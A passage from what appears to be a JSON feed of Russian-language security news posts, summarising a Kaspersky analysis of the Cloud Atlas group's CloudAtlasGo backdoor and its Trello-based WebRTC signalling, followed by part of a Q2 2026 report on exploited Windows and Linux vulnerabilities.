\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0434\u0438\u0441\u043a \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0445\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u044d\u043a\u0434\u043e\u0440\u0430 VBShower, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, PowerShower.\n\n\u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u0430\u043c\u0438 VBShower \u0438 PowerShower \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u041b\u041a \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0VBCloud \u0438 PowerCloud.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0439 \u0432\u0438\u0442\u043e\u043a \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438: \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0431\u044d\u043a\u0434\u043e\u0440 PowerShower \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Golang, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 10 \u041c\u0411.\n\n\u042d\u0442\u043e\u0442 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0432 \u041b\u041a \u043d\u0430\u0437\u0432\u0430\u043b\u0438 CloudAtlasGo, \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u0420\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 C2-\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0441\u044f \u0443 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 CloudAtlas, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b WebDAV \u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u041e\u0434\u043d\u0430\u043a\u043e \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u044d\u0442\u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u044b \u043d\u0435 \u043f\u043e\u0445\u043e\u0436\u0438 \u0434\u0440\u0443\u0433 \u043d\u0430 \u0434\u0440\u0443\u0433\u0430.\n\nCloudAtlasGo - \u044d\u0442\u043e \u0431\u044d\u043a\u0434\u043e\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 GitHub \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 SDP (Session Description Protocol) \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WebRTC.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f WebRTC \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f SDP. \u0414\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 SDP \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442\u0441\u044f \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Trello. \u0411\u044d\u043a\u0434\u043e\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0435\u0433\u043e API \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0430\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u0432 \u043f\u043e\u043b\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0440\u043e\u043a\u0443, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432 Base64.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 AES, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0435\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Brotli. \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 JSON-\u0444\u0430\u0439\u043b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 SDP \u0442\u0438\u043f\u0430 Offer \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e \u0434\u043b\u044f ICE-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0434\u043b\u044f \u0441\u0432\u044f\u0437\u0438 WebRTC. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 API \u0431\u044d\u043a\u0434\u043e\u0440 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 SDP-\u043e\u0442\u0432\u0435\u0442 (Answer) \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Trello.\n\n\u041f\u043e\u043c\u0438\u043c\u043e API Trello, \u0431\u044d\u043a\u0434\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 WebRTC, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u043a\u0430\u043a WebDAV \u0438\u043b\u0438 SFTP. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0431\u044d\u043a\u0434\u043e\u0440 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u044f\u0434 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\n\u0417\u0430\u0442\u0435\u043c CloudAtlasGo \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 YAML, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 SDP, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, Cloud Atlas \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439. \u041d\u043e\u0432\u044b\u0439 CloudAtlasGo \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 WebRTC \u0434\u043b\u044f \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u04212 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c SDP.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u0434\u043b\u044f \u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0442\u0430\u0440\u0443\u044e \u0441\u0445\u0435\u043c\u0443 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 VBShower \u0438 PowerShower, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u0441\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c\u0438.", "creation_timestamp": "2026-07-23T13:00:04.647804Z"}, {"uuid": "2a2d95e8-5557-48dc-81c5-d44e5c006817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 